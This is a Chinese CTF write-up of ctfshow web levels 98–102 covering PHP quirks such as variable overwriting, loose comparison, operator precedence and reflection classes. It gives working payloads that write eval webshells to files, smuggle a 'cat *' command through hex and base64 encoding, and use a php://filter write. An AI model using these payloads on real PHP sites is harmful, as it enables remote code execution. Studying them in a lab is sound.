ctfshow web入门 php特性web98-102

1.web98

在这里插入图片描述
get会被post方式覆盖,传入的参数需要等于flag,才能读取到flag值,如果直接传http_flag=flag,返回的结果会是一个空数组,因为get变量被覆盖了,而post没有传参
payload:
get 1=1
post HTTP_FLAG=flag

2.web99

在这里插入图片描述
array_push在数组末尾添加内容
rand(min,max)返回一个在min和max区间的随机数字
file_put_content往一个文件中写内容
弱比较,1.php==1
1出现的次数多,最有可能
payload:
n=1.php
content=<? eval($_POST[1])?>

3.web100

在这里插入图片描述
运算符优先级=大于and,or,=小于||,&&,and或&&都表示逻辑与,而or或||都表示逻辑或
所以只需要v1传入的数字即可

<?php
$a=6 and 0;     #直接赋值
var_dump($a);   #6
$b=5 &&0;       #先进行逻辑与运算,之后在赋值
var_dump($b);   #false
?>

php反射类,可以理解为是类的一个映射,可以方便在不知道类的定义的具体内容实现访问类的变量,函数等
php一个例子

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
    echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants());  获取一组常量
输出
 array(1) {
  ["PI"]=>
  float(3.14)
}

var_dump($a->getName());    获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
  ["flag"]=>
  string(15) "flag{123123123}"
}

var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

过滤少了,所以可以直接命令执行
payload:

v1=1&v2=var_dump($ctfshow)/*&v3=*/;
#直接构造反射类,能输出里面的变量内容
v1=1&v2=echo new ReflectionClass&v3=;

flag注意格式
e30aad3a0x2dd5e60x2d44120x2da3370x2db212221ac3f7
0x2d是-的16进制

4.web101

在这里插入图片描述
为啥反射类可用,因为flag是变量名
在这里插入图片描述

和上题一样
payload:

v1=1&v2=echo new ReflectionClass&v3=;

注意flag值还少了一位,爆破,或一个一个试

5.web102

在这里插入图片描述
v2必须有数字

$a='<?=`cat *`;';       //为什么用这个,主要是因为编码后带e,或者是编码后全部是数字
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64
//输出   5044383959474e6864434171594473
带e会被当做科学计数法,而base64去掉等号,不影响解码
bin2hex把ascii码转为16进制

payload:

php5中is_numeric函数认识16进制数,而php7这个函数不识别16进制数,
hex2bin将16进制转换为ascii码,<?php eval($_POST[1]);?>的16进制编码为0x3c3f706870206576616c28245f504f53545b315d293b3f3e
php5:
v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin
之后访问1.php
php7:
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php 
post: v1=hex2bin
需要随便填充一些数字,从第二个字符开始截取的(也就是第三个,是从0开始的)
之后访问1.php

ctfshow php特性

posted @ 2023-06-24 23:09  mushangqiujin  阅读(0)  评论(0编辑  收藏  举报  来源